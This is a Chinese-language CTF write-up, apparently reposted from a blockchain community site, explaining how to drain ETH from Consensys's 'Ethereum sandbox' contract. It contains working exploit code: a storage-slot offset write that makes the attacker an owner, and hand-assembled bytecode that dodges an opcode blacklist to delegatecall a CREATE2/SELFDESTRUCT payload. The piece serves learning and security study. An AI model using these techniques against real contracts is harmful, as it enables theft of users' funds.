10

Consensys CTF - "以太坊沙盒"

 3 years ago
source link: https://learnblockchain.cn/article/2625
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

基于samczsun的解析文章学习.Consensys在如下地址0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a部署了一个合约,合约名称叫做以太坊沙盒,其没有公开源代码,要求黑客们攻破该沙盒,拿出该合约中的所有ETH。

Consensys CTF - "以太坊沙盒"

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun.com/consensys-ctf-writeup/ 这篇文章进行的分析,如有需要可以参考原文。

问题描述:

Consensys在如下地址0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a部署了一个合约,合约名称叫做以太坊沙盒,其没有公开源代码,要求黑客们攻破该沙盒,拿出该合约中的所有ETH。

问题分析:

由于拿到的只是二进制代码,需要我们进行逆向得到solidity源码。故第一步是借助工具,将二进制代码翻译成可读的opcode代码和solidity代码。这里我们使用 https://contract-library.com/ 网站帮助分析。

将对应的地址传入该网站后,我们可以看到其是一个典型的solidity源码反编译后的结构,首先是函数选择区(针对public,external函数)如下。一共有4个函数。

if (0x25e7c27 == function_selector) {
    owners(uint256);
} else if (0x2918435f == function_selector) {
    0x2918435f();
} else if (0x4214352d == function_selector) {
    0x4214352d();
} else if (0x74e3fb3e == function_selector) {
    0x74e3fb3e();
}

再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256[]数组。

uint256[] array_0; // STORAGE[0x0]
uint256[] _owners; // STORAGE[0x1]

依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。

首先是函数1:0x4214352d

function 0x4214352d(uint256 varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    assert(varg1 < array_0.length);
    array_0[varg1] = varg0;
}
//翻译一下
function set_array(uint256 _value, uint256 _key) public {
	require(msg.data.length - 4 >= 64);
    assert(_key < array_0.length);
    array_0[_key] = _value;
}

可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项:

  • msg.data的长度减去4之后要大于64
    • msg.data = bytes4(函数签名) + bytes32(参数1) + bytes32(参数2)
    • 减去4的原因是函数签名的长度为4
  • 要求key的值小于array的长度

再看函数2:0x74e3fb3e

function 0x74e3fb3e(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    assert(varg0 < array_0.length);
    return array_0[varg0];
}
=>
function get_array(uint256 _key) public view returns (uint256) {
	require(msg.data.length - 4 >= 32);
	assert(_key < array_0.length);
	return array_0[_key];
}

与set_array函数类似

再看函数3:owners

function owners(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    assert(varg0 < _owners.length);
    return address(_owners[varg0]);
}
=>
function owners(uint256 _key) public view returns (address) {
	require(msg.data.length - 4 >= 32);
	assert(_key < _owners.length);
	return address(_owners[_key]);
}

最后看函数4:0x2918435f

function 0x2918435f(address varg0) public payable { 
    require(msg.data.length - 4 >= 32);
    v0 = v1 = 0;
    v2 = v3 = 0;
    while (v2 < _owners.length) {
        assert(v2 < _owners.length);
        if (msg.sender == address(_owners[v2])) {
            v0 = v4 = 1;
        }
        v2 += 1;
    }
    require(v0);
    MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f);
    EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
    v5 = v6 = 0;
    while (v5 < varg0.code.size) {
        if (v5 < varg0.code.size) {
            break;
        }
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf100000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf200000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf400000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xfa00000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xff00000000000000000000000000000000000000000000000000000000000000);
        v5 += 1;
    }
    v7, v8 = varg0.delegatecall().gas(msg.gas);
    if (RETURNDATASIZE() != 0) {
        v9 = new bytes[](RETURNDATASIZE());
        v8 = v9.data;
        RETURNDATACOPY(v8, 0, RETURNDATASIZE());
    }
    require(v7);
}

可以看到函数4 0x2918435f比较复杂,简单分析函数4中有三层require:

  1. 要求调用该函数的msg.data的长度,require(msg.data.length - 4 >= 32);与之前的函数中类似

  2. 要求msg.sender是_owners中的一员,通过一个while循环来循环检查所有的Onwer中成员,看是否满足msg.sender==owner

    v0 = v1 = 0;
    v2 = v3 = 0;
    while (v2 < _owners.length) {
        assert(v2 < _owners.length);
        if (msg.sender == address(_owners[v2])) {
            v0 = v4 = 1;
        }
        v2 += 1;
    }
    require(v0);
    =>翻译一下:
    bool permit = false;
    uint256 i = 0;
    while (i < _owners.length) {
    	assert(i < _owners.length);
    	if (msg.sender == address(_owners[i])) {
    		permit = true;
    	}
    	i += 1;
    }
    require(permit);
    

    3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0, 0xf1,0xf2,0xf4,0xfa, 0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode, delegatecall, staticcall, selfdestruct.

    这部分对应的代码比较复杂,我们将对比opcode,逐字翻译

    MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f);
    EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
    

    首先我们看黄皮书中关于EXTCODECOPY中的定义:

    ∀i∈{0…μs​[3]−1}:μm′​[μs​[1]+i]≡{b[μs​[2]+i]STOP​ifμs​[2]+i<∥b∥otherwise​
    KEC(b)≡σ[μs​[0]mod2160]c​

    可以看到EXTCODECOPY,拿4个参数,返回0个参数。简单解释是将栈里第0个元素-合约地址对应的代码段,设置偏移量为栈中第2个元素的值,拷贝的长度为栈里第3个元素对应的值,拷贝到的目的地为内存中栈里第1个元素对应的值的位置。

    MEM[64]	= MEM[64] + (addr.code.size + 32 + 31 & ~0x1f)
    EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
    =>
    EXTCODECOPY(addr=varg0, memory_index=MEM[64]+32, offset=0, length=addr.code.size)
    =>
    bytes memory code;
    uint256 size;
    assembly {
    	code := mload(0x40) //0x40=64, code=0x80
    	size := extcodesize(addr)
    	mstore(0x40, add(code, and(not(0x1f), add(0x1f, add(0x20, size))))) //新的自由内存指针
    	mstore(code, size) //在0x80地方存储codesize
    	extcodecopy(addr,add(code, 0x20),0,addr.code.size) //把extcode全部拷贝到内存0xa0处
    }
    

    在看while循环:

    v5 = v6 = 0;
    while (v5 < varg0.code.size) {
        if (v5 < varg0.code.size) {
            break;
        }
        assert(v5 < varg0.code.size);
    =>
    uint256 i = 0;
    while (i < addr.code.size) {
    	assert(i < addr.code.size)
    }
    
    require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000);
    =>
     ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = 0x1100000000000000000000000000000000000000000000000000000000000000
    MEM[0x40] = 0x80
    0x80处存储的是code的size,长度为0x20;具体的代码从0x80+0x20处开始存储。
    MEM[0x20 + 0x80 + i] 实际读取的是MEM[0x20 + 0x80 + i: 0x20 + 0x80 + i + 0x20], 故先将这32位字节向右移动248bit,再向左移动248bit,即去掉最右侧248bit, 再和0x110000...取AND,最后得到的结果与0xf0...对比。
    实际效果是每一位都对比,不能等于0xf0,0xf1,0xf2等
    =>
    for (uint256 i=0; i < code.length; i++) {
    	require(code[i] != 0xf0);//Create
    	require(code[i] != 0xf1);//CALL
    	require(code[i] != 0xf2);//CALLCODE
    	require(code[i] != 0xf4);//DELEGATECALL
    	require(code[i] != 0xfa);//STATICCALL
    	require(code[i] != 0xff);//SELEFDESTRUCT	
    }
    

问题分析-1

简单看,我们需要调用函数4,0x2918435f 因为其含有delegatecall, 可以执行我们想要的代码来获取该合约所有的ETH。

但是其要满足三个条件,尤其是第二个条件限制了msg.sender必须是owner数组中的一员。故我们需要先把msg.sender 放到owner数组中。但是给定的函数中,并没有直接设置owner数组的,唯有一个设置array数组的函数:set_array(_key, _value). 故需要思考,能否通过set_array函数来改变owner数组中的值。

这里需要一个背景知识,即数组是如何再solidity中存储的。

在solidity中,动态数组在storage中存储模式为:

  1. 动态数组声明处的slot_A存储的是该动态数组的长度
  2. 动态数组中的每一个元素存储的位置是keccak256(slot_A)+i, 即动态数组事实上还是连续储存,但其第一个元素存储的位置是keccak256(slot_A)

故在本题目中,由于array的长度被设置为uint(-1), 故可以通过计算array[0]和owner[0]对应的storage key的差值,来通过set_array方法设置owner中的值。

# make alice the owner 
# array.length == uint(-1)
# array slot = 0, key0 = keccak256(0x00..00)
# array owner slot = 1, key1 = keccak256(0x00..01)
# delta = key1 - key0
# 通过设置array的偏移来设置owner中的值
# offset的值为delta
key0 = int("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563",16)
key1 = int("0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16)
delta = key1 - key0
ctf.setArray(alice.address,delta, {'from':alice})

也可以部署一个hacker.sol来实现该目的

contract Hacker {
    address public ctf01 = 0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A;
    function step1() public {
        bytes32 key0 = keccak256(abi.encode(0x00));
        bytes32 key1 = keccak256(abi.encode(0x01));
        uint256 delta = uint256(key1) - uint256(key0);
        (bool success, ) = address(ctf01).call(abi.encodeWithSelector(0x4214352d, tx.origin, delta));
        require(success);
    }
}

问题分析-2

现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtime code中不含有0xf0, 0xf1, 0xf2, 0xf4, 0xfa, 0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。

首先明确我们使用create2, 其为0xf5, 我们可以首先看下黄皮书中关于create2的定义

i≡μm​[μs​[1]…(μs​[1]+μs​[2]−1)]
ζ≡μs​[3]
(σ′,μg′​,A+,o)≡⎩⎪⎪⎨⎪⎪⎧​lambdaΛ(σ∗,Ia​,Io​,L(μg​),Ip​,μs​[0],i,Ie​+1,ζ,Iw​)(σ,μg​,∅)​ifμs​[0]⩽σ[Ia​]b​∧Ie​<1024otherwise​

简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。

故我们需要一个合约,他的runtime code中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。

先用opcode来写runtime code:

//tx.origin 这里的ORIGIN是payload,不应该被执行,故需要改为push1 0x32
//SELFDESTRUCT //构造payload, 因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现
push2 0x32fe // 0x32fe
push1 0x01 // 0x32fe 0x01
ADD // 0x32ff 
push1 0x40 //0x32ff 0x40
mstore //构造payload 0x40 -> 0x32ff, 
push1 00//Us[3] -> salt 盐
push1 0x04//Us[2] -> length 长度 4
push1 0x3e//us[1] -> offset 偏移值 -> 内存中0x40+0x20-0x2=0x3e
ADDRESS
BALANCE //Us[0] -> ETH数量->应该是该address(this)的所有ETH
create2
=>
6132fe60010160405260006004603e3031f5

在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtime code

contract HackCTF{
    constructor() public payable{
        assembly{
            mstore(0x00, 0x6132fe60010160405260006004603e3031f5)
            return(0x0e, 0x12)
        }
    }
}

然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可

hacker = HackCTF.deploy({"from":alice})
ctf.hack(hacker, {'from':alice})
print(alice.balance())

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 8小时前
  • 阅读 ( 35 )
  • 学分 ( 2 )
  • 分类:智能合约

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK